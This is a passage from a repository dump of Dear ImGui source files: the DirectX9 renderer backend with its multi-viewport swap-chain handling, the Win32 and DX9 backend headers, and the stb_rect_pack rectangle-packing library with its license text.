data->d3dpp.BackBufferHeight = (UINT)viewport->Size.y; 375 | data->d3dpp.BackBufferFormat = D3DFMT_UNKNOWN; 376 | data->d3dpp.hDeviceWindow = hwnd; 377 | data->d3dpp.EnableAutoDepthStencil = FALSE; 378 | data->d3dpp.AutoDepthStencilFormat = D3DFMT_D16; 379 | data->d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_IMMEDIATE; // Present without vsync 380 | 381 | HRESULT hr = g_pd3dDevice->CreateAdditionalSwapChain(&data->d3dpp, &data->SwapChain); IM_UNUSED(hr); 382 | IM_ASSERT(hr == D3D_OK); 383 | IM_ASSERT(data->SwapChain != NULL); 384 | } 385 | 386 | static void ImGui_ImplDX9_DestroyWindow(ImGuiViewport* viewport) 387 | { 388 | // The main viewport (owned by the application) will always have RendererUserData == NULL since we didn't create the data for it. 389 | if (ImGuiViewportDataDx9* data = (ImGuiViewportDataDx9*)viewport->RendererUserData) 390 | { 391 | if (data->SwapChain) 392 | data->SwapChain->Release(); 393 | data->SwapChain = NULL; 394 | ZeroMemory(&data->d3dpp, sizeof(D3DPRESENT_PARAMETERS)); 395 | IM_DELETE(data); 396 | } 397 | viewport->RendererUserData = NULL; 398 | } 399 | 400 | static void ImGui_ImplDX9_SetWindowSize(ImGuiViewport* viewport, ImVec2 size) 401 | { 402 | ImGuiViewportDataDx9* data = (ImGuiViewportDataDx9*)viewport->RendererUserData; 403 | if (data->SwapChain) 404 | { 405 | data->SwapChain->Release(); 406 | data->SwapChain = NULL; 407 | data->d3dpp.BackBufferWidth = (UINT)size.x; 408 | data->d3dpp.BackBufferHeight = (UINT)size.y; 409 | HRESULT hr = g_pd3dDevice->CreateAdditionalSwapChain(&data->d3dpp, &data->SwapChain); IM_UNUSED(hr); 410 | IM_ASSERT(hr == D3D_OK); 411 | } 412 | } 413 | 414 | static void ImGui_ImplDX9_RenderWindow(ImGuiViewport* viewport, void*) 415 | { 416 | ImGuiViewportDataDx9* data = (ImGuiViewportDataDx9*)viewport->RendererUserData; 417 | ImVec4 clear_color = ImVec4(0.0f, 0.0f, 0.0f, 1.0f); 418 | 419 | LPDIRECT3DSURFACE9 render_target = NULL; 420 | LPDIRECT3DSURFACE9 last_render_target = NULL; 421 | LPDIRECT3DSURFACE9 last_depth_stencil = NULL; 422 | data->SwapChain->GetBackBuffer(0, D3DBACKBUFFER_TYPE_MONO, &render_target); 423 | g_pd3dDevice->GetRenderTarget(0, &last_render_target); 424 | g_pd3dDevice->GetDepthStencilSurface(&last_depth_stencil); 425 | g_pd3dDevice->SetRenderTarget(0, render_target); 426 | g_pd3dDevice->SetDepthStencilSurface(NULL); 427 | 428 | if (!(viewport->Flags & ImGuiViewportFlags_NoRendererClear)) 429 | { 430 | D3DCOLOR clear_col_dx = D3DCOLOR_RGBA((int)(clear_color.x*255.0f), (int)(clear_color.y*255.0f), (int)(clear_color.z*255.0f), (int)(clear_color.w*255.0f)); 431 | g_pd3dDevice->Clear(0, NULL, D3DCLEAR_TARGET, clear_col_dx, 1.0f, 0); 432 | } 433 | 434 | ImGui_ImplDX9_RenderDrawData(viewport->DrawData); 435 | 436 | // Restore render target 437 | g_pd3dDevice->SetRenderTarget(0, last_render_target); 438 | g_pd3dDevice->SetDepthStencilSurface(last_depth_stencil); 439 | render_target->Release(); 440 | last_render_target->Release(); 441 | if (last_depth_stencil) last_depth_stencil->Release(); 442 | } 443 | 444 | static void ImGui_ImplDX9_SwapBuffers(ImGuiViewport* viewport, void*) 445 | { 446 | ImGuiViewportDataDx9* data = (ImGuiViewportDataDx9*)viewport->RendererUserData; 447 | HRESULT hr = data->SwapChain->Present(NULL, NULL, data->d3dpp.hDeviceWindow, NULL, 0); 448 | // Let main application handle D3DERR_DEVICELOST by resetting the device. 449 | IM_ASSERT(hr == D3D_OK || hr == D3DERR_DEVICELOST); 450 | } 451 | 452 | static void ImGui_ImplDX9_InitPlatformInterface() 453 | { 454 | ImGuiPlatformIO& platform_io = ImGui::GetPlatformIO(); 455 | platform_io.Renderer_CreateWindow = ImGui_ImplDX9_CreateWindow; 456 | platform_io.Renderer_DestroyWindow = ImGui_ImplDX9_DestroyWindow; 457 | platform_io.Renderer_SetWindowSize = ImGui_ImplDX9_SetWindowSize; 458 | platform_io.Renderer_RenderWindow = ImGui_ImplDX9_RenderWindow; 459 | platform_io.Renderer_SwapBuffers = ImGui_ImplDX9_SwapBuffers; 460 | } 461 | 462 | static void ImGui_ImplDX9_ShutdownPlatformInterface() 463 | { 464 | ImGui::DestroyPlatformWindows(); 465 | } 466 | 467 | static void ImGui_ImplDX9_CreateDeviceObjectsForPlatformWindows() 468 | { 469 | ImGuiPlatformIO& platform_io = ImGui::GetPlatformIO(); 470 | for (int i = 1; i < platform_io.Viewports.Size; i++) 471 | if (!platform_io.Viewports[i]->RendererUserData) 472 | ImGui_ImplDX9_CreateWindow(platform_io.Viewports[i]); 473 | } 474 | 475 | static void ImGui_ImplDX9_InvalidateDeviceObjectsForPlatformWindows() 476 | { 477 | ImGuiPlatformIO& platform_io = ImGui::GetPlatformIO(); 478 | for (int i = 1; i < platform_io.Viewports.Size; i++) 479 | if (platform_io.Viewports[i]->RendererUserData) 480 | ImGui_ImplDX9_DestroyWindow(platform_io.Viewports[i]); 481 | } 482 | -------------------------------------------------------------------------------- /ImGui/imgui_impl_dx9.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for DirectX9 2 | // This needs to be used along with a Platform Backend (e.g. Win32) 3 | 4 | // Implemented features: 5 | // [X] Renderer: User texture binding. Use 'LPDIRECT3DTEXTURE9' as ImTextureID. Read the FAQ about ImTextureID! 6 | // [X] Renderer: Multi-viewport support. Enable with 'io.ConfigFlags |= ImGuiConfigFlags_ViewportsEnable'. 7 | // [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices. 8 | 9 | // You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 10 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 11 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 12 | 13 | #pragma once 14 | #include "imgui.h" // IMGUI_IMPL_API 15 | 16 | struct IDirect3DDevice9; 17 | 18 | IMGUI_IMPL_API bool ImGui_ImplDX9_Init(IDirect3DDevice9* device); 19 | IMGUI_IMPL_API void ImGui_ImplDX9_Shutdown(); 20 | IMGUI_IMPL_API void ImGui_ImplDX9_NewFrame(); 21 | IMGUI_IMPL_API void ImGui_ImplDX9_RenderDrawData(ImDrawData* draw_data); 22 | 23 | // Use if you want to reset your rendering device without losing Dear ImGui state. 24 | IMGUI_IMPL_API bool ImGui_ImplDX9_CreateDeviceObjects(); 25 | IMGUI_IMPL_API void ImGui_ImplDX9_InvalidateDeviceObjects(); 26 | -------------------------------------------------------------------------------- /ImGui/imgui_impl_win32.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Platform Backend for Windows (standard windows API for 32 and 64 bits applications) 2 | // This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..) 3 | 4 | // Implemented features: 5 | // [X] Platform: Clipboard support (for Win32 this is actually part of core dear imgui) 6 | // [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. 7 | // [X] Platform: Keyboard arrays indexed using VK_* Virtual Key Codes, e.g. ImGui::IsKeyPressed(VK_SPACE). 8 | // [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. 9 | // [X] Platform: Multi-viewport support (multiple windows). Enable with 'io.ConfigFlags |= ImGuiConfigFlags_ViewportsEnable'. 10 | 11 | // You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 12 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 13 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 14 | 15 | #pragma once 16 | #include "imgui.h" // IMGUI_IMPL_API 17 | 18 | IMGUI_IMPL_API bool ImGui_ImplWin32_Init(void* hwnd); 19 | IMGUI_IMPL_API void ImGui_ImplWin32_Shutdown(); 20 | IMGUI_IMPL_API void ImGui_ImplWin32_NewFrame(); 21 | 22 | // Win32 message handler your application need to call. 23 | // - Intentionally commented out in a '#if 0' block to avoid dragging dependencies on from this helper. 24 | // - You should COPY the line below into your .cpp code to forward declare the function and then you can call it. 25 | #if 0 26 | extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); 27 | #endif 28 | 29 | // DPI-related helpers (optional) 30 | // - Use to enable DPI awareness without having to create an application manifest. 31 | // - Your own app may already do this via a manifest or explicit calls. This is mostly useful for our examples/ apps. 32 | // - In theory we could call simple functions from Windows SDK such as SetProcessDPIAware(), SetProcessDpiAwareness(), etc. 33 | // but most of the functions provided by Microsoft require Windows 8.1/10+ SDK at compile time and Windows 8/10+ at runtime, 34 | // neither we want to require the user to have. So we dynamically select and load those functions to avoid dependencies. 35 | IMGUI_IMPL_API void ImGui_ImplWin32_EnableDpiAwareness(); 36 | IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForHwnd(void* hwnd); // HWND hwnd 37 | IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForMonitor(void* monitor); // HMONITOR monitor 38 | 39 | // Transparency related helpers (optional) [experimental] 40 | // - Use to enable alpha compositing transparency with the desktop. 41 | // - Use together with e.g. clearing your framebuffer with zero-alpha. 42 | IMGUI_IMPL_API void ImGui_ImplWin32_EnableAlphaCompositing(void* hwnd); // HWND hwnd 43 | -------------------------------------------------------------------------------- /ImGui/imstb_rectpack.h: -------------------------------------------------------------------------------- 1 | // [DEAR IMGUI] 2 | // This is a slightly modified version of stb_rect_pack.h 1.00. 3 | // Those changes would need to be pushed into nothings/stb: 4 | // - Added STBRP__CDECL 5 | // Grep for [DEAR IMGUI] to find the changes. 6 | 7 | // stb_rect_pack.h - v1.00 - public domain - rectangle packing 8 | // Sean Barrett 2014 9 | // 10 | // Useful for e.g. packing rectangular textures into an atlas. 11 | // Does not do rotation. 12 | // 13 | // Not necessarily the awesomest packing method, but better than 14 | // the totally naive one in stb_truetype (which is primarily what 15 | // this is meant to replace). 16 | // 17 | // Has only had a few tests run, may have issues. 18 | // 19 | // More docs to come. 20 | // 21 | // No memory allocations; uses qsort() and assert() from stdlib. 22 | // Can override those by defining STBRP_SORT and STBRP_ASSERT. 23 | // 24 | // This library currently uses the Skyline Bottom-Left algorithm. 25 | // 26 | // Please note: better rectangle packers are welcome! Please 27 | // implement them to the same API, but with a different init 28 | // function. 29 | // 30 | // Credits 31 | // 32 | // Library 33 | // Sean Barrett 34 | // Minor features 35 | // Martins Mozeiko 36 | // github:IntellectualKitty 37 | // 38 | // Bugfixes / warning fixes 39 | // Jeremy Jaussaud 40 | // Fabian Giesen 41 | // 42 | // Version history: 43 | // 44 | // 1.00 (2019-02-25) avoid small space waste; gracefully fail too-wide rectangles 45 | // 0.99 (2019-02-07) warning fixes 46 | // 0.11 (2017-03-03) return packing success/fail result 47 | // 0.10 (2016-10-25) remove cast-away-const to avoid warnings 48 | // 0.09 (2016-08-27) fix compiler warnings 49 | // 0.08 (2015-09-13) really fix bug with empty rects (w=0 or h=0) 50 | // 0.07 (2015-09-13) fix bug with empty rects (w=0 or h=0) 51 | // 0.06 (2015-04-15) added STBRP_SORT to allow replacing qsort 52 | // 0.05: added STBRP_ASSERT to allow replacing assert 53 | // 0.04: fixed minor bug in STBRP_LARGE_RECTS support 54 | // 0.01: initial release 55 | // 56 | // LICENSE 57 | // 58 | // See end of file for license information. 59 | 60 | ////////////////////////////////////////////////////////////////////////////// 61 | // 62 | // INCLUDE SECTION 63 | // 64 | 65 | #ifndef STB_INCLUDE_STB_RECT_PACK_H 66 | #define STB_INCLUDE_STB_RECT_PACK_H 67 | 68 | #define STB_RECT_PACK_VERSION 1 69 | 70 | #ifdef STBRP_STATIC 71 | #define STBRP_DEF static 72 | #else 73 | #define STBRP_DEF extern 74 | #endif 75 | 76 | #ifdef __cplusplus 77 | extern "C" { 78 | #endif 79 | 80 | typedef struct stbrp_context stbrp_context; 81 | typedef struct stbrp_node stbrp_node; 82 | typedef struct stbrp_rect stbrp_rect; 83 | 84 | #ifdef STBRP_LARGE_RECTS 85 | typedef int stbrp_coord; 86 | #else 87 | typedef unsigned short stbrp_coord; 88 | #endif 89 | 90 | STBRP_DEF int stbrp_pack_rects (stbrp_context *context, stbrp_rect *rects, int num_rects); 91 | // Assign packed locations to rectangles. The rectangles are of type 92 | // 'stbrp_rect' defined below, stored in the array 'rects', and there 93 | // are 'num_rects' many of them. 94 | // 95 | // Rectangles which are successfully packed have the 'was_packed' flag 96 | // set to a non-zero value and 'x' and 'y' store the minimum location 97 | // on each axis (i.e. bottom-left in cartesian coordinates, top-left 98 | // if you imagine y increasing downwards). Rectangles which do not fit 99 | // have the 'was_packed' flag set to 0. 100 | // 101 | // You should not try to access the 'rects' array from another thread 102 | // while this function is running, as the function temporarily reorders 103 | // the array while it executes. 104 | // 105 | // To pack into another rectangle, you need to call stbrp_init_target 106 | // again. To continue packing into the same rectangle, you can call 107 | // this function again. Calling this multiple times with multiple rect 108 | // arrays will probably produce worse packing results than calling it 109 | // a single time with the full rectangle array, but the option is 110 | // available. 111 | // 112 | // The function returns 1 if all of the rectangles were successfully 113 | // packed and 0 otherwise. 114 | 115 | struct stbrp_rect 116 | { 117 | // reserved for your use: 118 | int id; 119 | 120 | // input: 121 | stbrp_coord w, h; 122 | 123 | // output: 124 | stbrp_coord x, y; 125 | int was_packed; // non-zero if valid packing 126 | 127 | }; // 16 bytes, nominally 128 | 129 | 130 | STBRP_DEF void stbrp_init_target (stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes); 131 | // Initialize a rectangle packer to: 132 | // pack a rectangle that is 'width' by 'height' in dimensions 133 | // using temporary storage provided by the array 'nodes', which is 'num_nodes' long 134 | // 135 | // You must call this function every time you start packing into a new target. 136 | // 137 | // There is no "shutdown" function. The 'nodes' memory must stay valid for 138 | // the following stbrp_pack_rects() call (or calls), but can be freed after 139 | // the call (or calls) finish. 140 | // 141 | // Note: to guarantee best results, either: 142 | // 1. make sure 'num_nodes' >= 'width' 143 | // or 2. call stbrp_allow_out_of_mem() defined below with 'allow_out_of_mem = 1' 144 | // 145 | // If you don't do either of the above things, widths will be quantized to multiples 146 | // of small integers to guarantee the algorithm doesn't run out of temporary storage. 147 | // 148 | // If you do #2, then the non-quantized algorithm will be used, but the algorithm 149 | // may run out of temporary storage and be unable to pack some rectangles. 150 | 151 | STBRP_DEF void stbrp_setup_allow_out_of_mem (stbrp_context *context, int allow_out_of_mem); 152 | // Optionally call this function after init but before doing any packing to 153 | // change the handling of the out-of-temp-memory scenario, described above. 154 | // If you call init again, this will be reset to the default (false). 155 | 156 | 157 | STBRP_DEF void stbrp_setup_heuristic (stbrp_context *context, int heuristic); 158 | // Optionally select which packing heuristic the library should use. Different 159 | // heuristics will produce better/worse results for different data sets. 160 | // If you call init again, this will be reset to the default. 161 | 162 | enum 163 | { 164 | STBRP_HEURISTIC_Skyline_default=0, 165 | STBRP_HEURISTIC_Skyline_BL_sortHeight = STBRP_HEURISTIC_Skyline_default, 166 | STBRP_HEURISTIC_Skyline_BF_sortHeight 167 | }; 168 | 169 | 170 | ////////////////////////////////////////////////////////////////////////////// 171 | // 172 | // the details of the following structures don't matter to you, but they must 173 | // be visible so you can handle the memory allocations for them 174 | 175 | struct stbrp_node 176 | { 177 | stbrp_coord x,y; 178 | stbrp_node *next; 179 | }; 180 | 181 | struct stbrp_context 182 | { 183 | int width; 184 | int height; 185 | int align; 186 | int init_mode; 187 | int heuristic; 188 | int num_nodes; 189 | stbrp_node *active_head; 190 | stbrp_node *free_head; 191 | stbrp_node extra[2]; // we allocate two extra nodes so optimal user-node-count is 'width' not 'width+2' 192 | }; 193 | 194 | #ifdef __cplusplus 195 | } 196 | #endif 197 | 198 | #endif 199 | 200 | ////////////////////////////////////////////////////////////////////////////// 201 | // 202 | // IMPLEMENTATION SECTION 203 | // 204 | 205 | #ifdef STB_RECT_PACK_IMPLEMENTATION 206 | #ifndef STBRP_SORT 207 | #include 208 | #define STBRP_SORT qsort 209 | #endif 210 | 211 | #ifndef STBRP_ASSERT 212 | #include 213 | #define STBRP_ASSERT assert 214 | #endif 215 | 216 | // [DEAR IMGUI] Added STBRP__CDECL 217 | #ifdef _MSC_VER 218 | #define STBRP__NOTUSED(v) (void)(v) 219 | #define STBRP__CDECL __cdecl 220 | #else 221 | #define STBRP__NOTUSED(v) (void)sizeof(v) 222 | #define STBRP__CDECL 223 | #endif 224 | 225 | enum 226 | { 227 | STBRP__INIT_skyline = 1 228 | }; 229 | 230 | STBRP_DEF void stbrp_setup_heuristic(stbrp_context *context, int heuristic) 231 | { 232 | switch (context->init_mode) { 233 | case STBRP__INIT_skyline: 234 | STBRP_ASSERT(heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight || heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight); 235 | context->heuristic = heuristic; 236 | break; 237 | default: 238 | STBRP_ASSERT(0); 239 | } 240 | } 241 | 242 | STBRP_DEF void stbrp_setup_allow_out_of_mem(stbrp_context *context, int allow_out_of_mem) 243 | { 244 | if (allow_out_of_mem) 245 | // if it's ok to run out of memory, then don't bother aligning them; 246 | // this gives better packing, but may fail due to OOM (even though 247 | // the rectangles easily fit). @TODO a smarter approach would be to only 248 | // quantize once we've hit OOM, then we could get rid of this parameter. 249 | context->align = 1; 250 | else { 251 | // if it's not ok to run out of memory, then quantize the widths 252 | // so that num_nodes is always enough nodes. 253 | // 254 | // I.e. num_nodes * align >= width 255 | // align >= width / num_nodes 256 | // align = ceil(width/num_nodes) 257 | 258 | context->align = (context->width + context->num_nodes-1) / context->num_nodes; 259 | } 260 | } 261 | 262 | STBRP_DEF void stbrp_init_target(stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes) 263 | { 264 | int i; 265 | #ifndef STBRP_LARGE_RECTS 266 | STBRP_ASSERT(width <= 0xffff && height <= 0xffff); 267 | #endif 268 | 269 | for (i=0; i < num_nodes-1; ++i) 270 | nodes[i].next = &nodes[i+1]; 271 | nodes[i].next = NULL; 272 | context->init_mode = STBRP__INIT_skyline; 273 | context->heuristic = STBRP_HEURISTIC_Skyline_default; 274 | context->free_head = &nodes[0]; 275 | context->active_head = &context->extra[0]; 276 | context->width = width; 277 | context->height = height; 278 | context->num_nodes = num_nodes; 279 | stbrp_setup_allow_out_of_mem(context, 0); 280 | 281 | // node 0 is the full width, node 1 is the sentinel (lets us not store width explicitly) 282 | context->extra[0].x = 0; 283 | context->extra[0].y = 0; 284 | context->extra[0].next = &context->extra[1]; 285 | context->extra[1].x = (stbrp_coord) width; 286 | #ifdef STBRP_LARGE_RECTS 287 | context->extra[1].y = (1<<30); 288 | #else 289 | context->extra[1].y = 65535; 290 | #endif 291 | context->extra[1].next = NULL; 292 | } 293 | 294 | // find minimum y position if it starts at x1 295 | static int stbrp__skyline_find_min_y(stbrp_context *c, stbrp_node *first, int x0, int width, int *pwaste) 296 | { 297 | stbrp_node *node = first; 298 | int x1 = x0 + width; 299 | int min_y, visited_width, waste_area; 300 | 301 | STBRP__NOTUSED(c); 302 | 303 | STBRP_ASSERT(first->x <= x0); 304 | 305 | #if 0 306 | // skip in case we're past the node 307 | while (node->next->x <= x0) 308 | ++node; 309 | #else 310 | STBRP_ASSERT(node->next->x > x0); // we ended up handling this in the caller for efficiency 311 | #endif 312 | 313 | STBRP_ASSERT(node->x <= x0); 314 | 315 | min_y = 0; 316 | waste_area = 0; 317 | visited_width = 0; 318 | while (node->x < x1) { 319 | if (node->y > min_y) { 320 | // raise min_y higher. 321 | // we've accounted for all waste up to min_y, 322 | // but we'll now add more waste for everything we've visted 323 | waste_area += visited_width * (node->y - min_y); 324 | min_y = node->y; 325 | // the first time through, visited_width might be reduced 326 | if (node->x < x0) 327 | visited_width += node->next->x - x0; 328 | else 329 | visited_width += node->next->x - node->x; 330 | } else { 331 | // add waste area 332 | int under_width = node->next->x - node->x; 333 | if (under_width + visited_width > width) 334 | under_width = width - visited_width; 335 | waste_area += under_width * (min_y - node->y); 336 | visited_width += under_width; 337 | } 338 | node = node->next; 339 | } 340 | 341 | *pwaste = waste_area; 342 | return min_y; 343 | } 344 | 345 | typedef struct 346 | { 347 | int x,y; 348 | stbrp_node **prev_link; 349 | } stbrp__findresult; 350 | 351 | static stbrp__findresult stbrp__skyline_find_best_pos(stbrp_context *c, int width, int height) 352 | { 353 | int best_waste = (1<<30), best_x, best_y = (1 << 30); 354 | stbrp__findresult fr; 355 | stbrp_node **prev, *node, *tail, **best = NULL; 356 | 357 | // align to multiple of c->align 358 | width = (width + c->align - 1); 359 | width -= width % c->align; 360 | STBRP_ASSERT(width % c->align == 0); 361 | 362 | // if it can't possibly fit, bail immediately 363 | if (width > c->width || height > c->height) { 364 | fr.prev_link = NULL; 365 | fr.x = fr.y = 0; 366 | return fr; 367 | } 368 | 369 | node = c->active_head; 370 | prev = &c->active_head; 371 | while (node->x + width <= c->width) { 372 | int y,waste; 373 | y = stbrp__skyline_find_min_y(c, node, node->x, width, &waste); 374 | if (c->heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight) { // actually just want to test BL 375 | // bottom left 376 | if (y < best_y) { 377 | best_y = y; 378 | best = prev; 379 | } 380 | } else { 381 | // best-fit 382 | if (y + height <= c->height) { 383 | // can only use it if it first vertically 384 | if (y < best_y || (y == best_y && waste < best_waste)) { 385 | best_y = y; 386 | best_waste = waste; 387 | best = prev; 388 | } 389 | } 390 | } 391 | prev = &node->next; 392 | node = node->next; 393 | } 394 | 395 | best_x = (best == NULL) ? 0 : (*best)->x; 396 | 397 | // if doing best-fit (BF), we also have to try aligning right edge to each node position 398 | // 399 | // e.g, if fitting 400 | // 401 | // ____________________ 402 | // |____________________| 403 | // 404 | // into 405 | // 406 | // | | 407 | // | ____________| 408 | // |____________| 409 | // 410 | // then right-aligned reduces waste, but bottom-left BL is always chooses left-aligned 411 | // 412 | // This makes BF take about 2x the time 413 | 414 | if (c->heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight) { 415 | tail = c->active_head; 416 | node = c->active_head; 417 | prev = &c->active_head; 418 | // find first node that's admissible 419 | while (tail->x < width) 420 | tail = tail->next; 421 | while (tail) { 422 | int xpos = tail->x - width; 423 | int y,waste; 424 | STBRP_ASSERT(xpos >= 0); 425 | // find the left position that matches this 426 | while (node->next->x <= xpos) { 427 | prev = &node->next; 428 | node = node->next; 429 | } 430 | STBRP_ASSERT(node->next->x > xpos && node->x <= xpos); 431 | y = stbrp__skyline_find_min_y(c, node, xpos, width, &waste); 432 | if (y + height <= c->height) { 433 | if (y <= best_y) { 434 | if (y < best_y || waste < best_waste || (waste==best_waste && xpos < best_x)) { 435 | best_x = xpos; 436 | STBRP_ASSERT(y <= best_y); 437 | best_y = y; 438 | best_waste = waste; 439 | best = prev; 440 | } 441 | } 442 | } 443 | tail = tail->next; 444 | } 445 | } 446 | 447 | fr.prev_link = best; 448 | fr.x = best_x; 449 | fr.y = best_y; 450 | return fr; 451 | } 452 | 453 | static stbrp__findresult stbrp__skyline_pack_rectangle(stbrp_context *context, int width, int height) 454 | { 455 | // find best position according to heuristic 456 | stbrp__findresult res = stbrp__skyline_find_best_pos(context, width, height); 457 | stbrp_node *node, *cur; 458 | 459 | // bail if: 460 | // 1. it failed 461 | // 2. the best node doesn't fit (we don't always check this) 462 | // 3. we're out of memory 463 | if (res.prev_link == NULL || res.y + height > context->height || context->free_head == NULL) { 464 | res.prev_link = NULL; 465 | return res; 466 | } 467 | 468 | // on success, create new node 469 | node = context->free_head; 470 | node->x = (stbrp_coord) res.x; 471 | node->y = (stbrp_coord) (res.y + height); 472 | 473 | context->free_head = node->next; 474 | 475 | // insert the new node into the right starting point, and 476 | // let 'cur' point to the remaining nodes needing to be 477 | // stiched back in 478 | 479 | cur = *res.prev_link; 480 | if (cur->x < res.x) { 481 | // preserve the existing one, so start testing with the next one 482 | stbrp_node *next = cur->next; 483 | cur->next = node; 484 | cur = next; 485 | } else { 486 | *res.prev_link = node; 487 | } 488 | 489 | // from here, traverse cur and free the nodes, until we get to one 490 | // that shouldn't be freed 491 | while (cur->next && cur->next->x <= res.x + width) { 492 | stbrp_node *next = cur->next; 493 | // move the current node to the free list 494 | cur->next = context->free_head; 495 | context->free_head = cur; 496 | cur = next; 497 | } 498 | 499 | // stitch the list back in 500 | node->next = cur; 501 | 502 | if (cur->x < res.x + width) 503 | cur->x = (stbrp_coord) (res.x + width); 504 | 505 | #ifdef _DEBUG 506 | cur = context->active_head; 507 | while (cur->x < context->width) { 508 | STBRP_ASSERT(cur->x < cur->next->x); 509 | cur = cur->next; 510 | } 511 | STBRP_ASSERT(cur->next == NULL); 512 | 513 | { 514 | int count=0; 515 | cur = context->active_head; 516 | while (cur) { 517 | cur = cur->next; 518 | ++count; 519 | } 520 | cur = context->free_head; 521 | while (cur) { 522 | cur = cur->next; 523 | ++count; 524 | } 525 | STBRP_ASSERT(count == context->num_nodes+2); 526 | } 527 | #endif 528 | 529 | return res; 530 | } 531 | 532 | // [DEAR IMGUI] Added STBRP__CDECL 533 | static int STBRP__CDECL rect_height_compare(const void *a, const void *b) 534 | { 535 | const stbrp_rect *p = (const stbrp_rect *) a; 536 | const stbrp_rect *q = (const stbrp_rect *) b; 537 | if (p->h > q->h) 538 | return -1; 539 | if (p->h < q->h) 540 | return 1; 541 | return (p->w > q->w) ? -1 : (p->w < q->w); 542 | } 543 | 544 | // [DEAR IMGUI] Added STBRP__CDECL 545 | static int STBRP__CDECL rect_original_order(const void *a, const void *b) 546 | { 547 | const stbrp_rect *p = (const stbrp_rect *) a; 548 | const stbrp_rect *q = (const stbrp_rect *) b; 549 | return (p->was_packed < q->was_packed) ? -1 : (p->was_packed > q->was_packed); 550 | } 551 | 552 | #ifdef STBRP_LARGE_RECTS 553 | #define STBRP__MAXVAL 0xffffffff 554 | #else 555 | #define STBRP__MAXVAL 0xffff 556 | #endif 557 | 558 | STBRP_DEF int stbrp_pack_rects(stbrp_context *context, stbrp_rect *rects, int num_rects) 559 | { 560 | int i, all_rects_packed = 1; 561 | 562 | // we use the 'was_packed' field internally to allow sorting/unsorting 563 | for (i=0; i < num_rects; ++i) { 564 | rects[i].was_packed = i; 565 | } 566 | 567 | // sort according to heuristic 568 | STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_height_compare); 569 | 570 | for (i=0; i < num_rects; ++i) { 571 | if (rects[i].w == 0 || rects[i].h == 0) { 572 | rects[i].x = rects[i].y = 0; // empty rect needs no space 573 | } else { 574 | stbrp__findresult fr = stbrp__skyline_pack_rectangle(context, rects[i].w, rects[i].h); 575 | if (fr.prev_link) { 576 | rects[i].x = (stbrp_coord) fr.x; 577 | rects[i].y = (stbrp_coord) fr.y; 578 | } else { 579 | rects[i].x = rects[i].y = STBRP__MAXVAL; 580 | } 581 | } 582 | } 583 | 584 | // unsort 585 | STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_original_order); 586 | 587 | // set was_packed flags and all_rects_packed status 588 | for (i=0; i < num_rects; ++i) { 589 | rects[i].was_packed = !(rects[i].x == STBRP__MAXVAL && rects[i].y == STBRP__MAXVAL); 590 | if (!rects[i].was_packed) 591 | all_rects_packed = 0; 592 | } 593 | 594 | // return the all_rects_packed status 595 | return all_rects_packed; 596 | } 597 | #endif 598 | 599 | /* 600 | ------------------------------------------------------------------------------ 601 | This software is available under 2 licenses -- choose whichever you prefer. 602 | ------------------------------------------------------------------------------ 603 | ALTERNATIVE A - MIT License 604 | Copyright (c) 2017 Sean Barrett 605 | Permission is hereby granted, free of charge, to any person obtaining a copy of 606 | this software and associated documentation files (the "Software"), to deal in 607 | the Software without restriction, including without limitation the rights to 608 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 609 | of the Software, and to permit persons to whom the Software is furnished to do 610 | so, subject to the following conditions: 611 | The above copyright notice and this permission notice shall be included in all 612 | copies or substantial portions of the Software. 613 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 614 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 615 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 616 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 617 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 618 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 619 | SOFTWARE. 620 | ------------------------------------------------------------------------------ 621 | ALTERNATIVE B - Public Domain (www.unlicense.org) 622 | This is free and unencumbered software released into the public domain. 623 | Anyone is free to copy, modify, publish, use, compile, sell, or distribute this 624 | software, either in source code form or as a compiled binary, for any purpose, 625 | commercial or non-commercial, and by any means. 626 | In jurisdictions that recognize copyright laws, the author or authors of this 627 | software dedicate any and all copyright interest in the software to the public 628 | domain. We make this dedication for the benefit of the public at large and to 629 | the detriment of our heirs and successors. We intend this dedication to be an 630 | overt act of relinquishment in perpetuity of all present and future rights to 631 | this software under copyright law. 632 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 633 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 634 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT 